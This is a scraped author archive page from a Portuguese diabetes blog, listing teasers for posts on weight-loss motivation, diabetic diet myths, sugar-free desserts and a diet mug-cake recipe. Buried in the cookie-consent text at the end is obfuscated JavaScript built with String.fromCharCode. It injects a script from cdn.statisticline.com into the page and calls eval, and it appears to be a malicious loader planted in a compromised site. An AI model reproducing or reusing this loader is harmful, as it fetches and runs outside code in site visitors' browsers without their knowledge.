Mônica Amaral Lenzi, Autor em Portal Diabetes & Você

Diabetes – Coragem e conhecimento facilitam convívio

O texto da Paola Machado sobre motivação para o blog e a citação do Charlie Chaplin reproduzida hoje no Facebook da Doce Vida Diabetes me inspiraram a escrever. Paola fala sobre motivação. No texto, ela cita um estudo realizado com mulheres em processo de emagrecimento. A citação de Chaplin fala …

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Quer perder peso? Treine o seu cérebro

Cuidados e Tratamentos 0

Quer uma palavra-chave para a perda de peso? Motivação! Ao conversar com pessoas que buscam pela perda de peso a primeira frase que escuto é a justificativa. Daquele chocolate a mais que comeu, da quantidade de alimento a mais que consumiu. Isso porque é muito mais fácil justificar do que …

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A importância de mastigar corretamente os alimentos

Como Viver Melhor, Cuidados e Tratamentos 0

É comum encontrar em meu consultório pessoas que desejam ou precisam perder peso. Suas dúvidas giram em torno de uma qualidade na alimentação, sobre os tipos de alimentos que podem ou não ser consumidos, qual é a quantidade de gordura que podemos ingerir e outras questões do gênero. Apesar de …

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Diabetes: 7 Cuidados Essenciais com a Alimentação

Como Viver Melhor, Mitos e Verdades 3

São incontáveis os mitos quer cercam a alimentação das pessoas com Diabetes. Uns dizem que os diabéticos não podem comer carboidratos ou, muito menos, qualquer tipo de açúcar, até a carne vermelha perde seu lugar na mesa. Mitos são fontes de estudos científicos e podem ser quebrados. Aproveito …

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Rota Zero Açúcar – Amor aos Pedaços

Como Viver Melhor 0

Na rota nossa rota zero açúcar, incluímos no mapa a Amor aos Pedaços. Uma bela opção para uma boa sobremesa. Hum… dá até água na boca. Semana passada estive na unidade Moema, em São Paulo, capital. E tinham muitas opções zero açúcar. Escolhi uma torta coockie. Aprovadíssima! E experimentei a …

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Receita Bolo de Caneca Diet

Receitas 4

Se eu tivesse que resumir esta receita em apenas uma palavra ficaria seriamente em dúvida entre duas: rápida e prática. Porque na verdade ela é rápida e prática. Rápida porque você tem uma porção de bolo pronta em 10 minutinhos. Prática porque você não precisa mais sair de casa para …

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Alimento Funcional: Chá Preto Pode Diminuir Risco de Desenvolver Diabetes

Como Viver Melhor, Notícias e Análises 0

“Muito além do sabor, os alimentos funcionais possuem propriedades únicas de prevenção à doenças, promovendo saúde e bem-estar quando consumidas em uma dieta saudável e nas quantidades indicadas” Um dos chás mais utilizado no Ocidente, que foi originado do chá verde, com folhas ainda mais secas. O chá …

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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);
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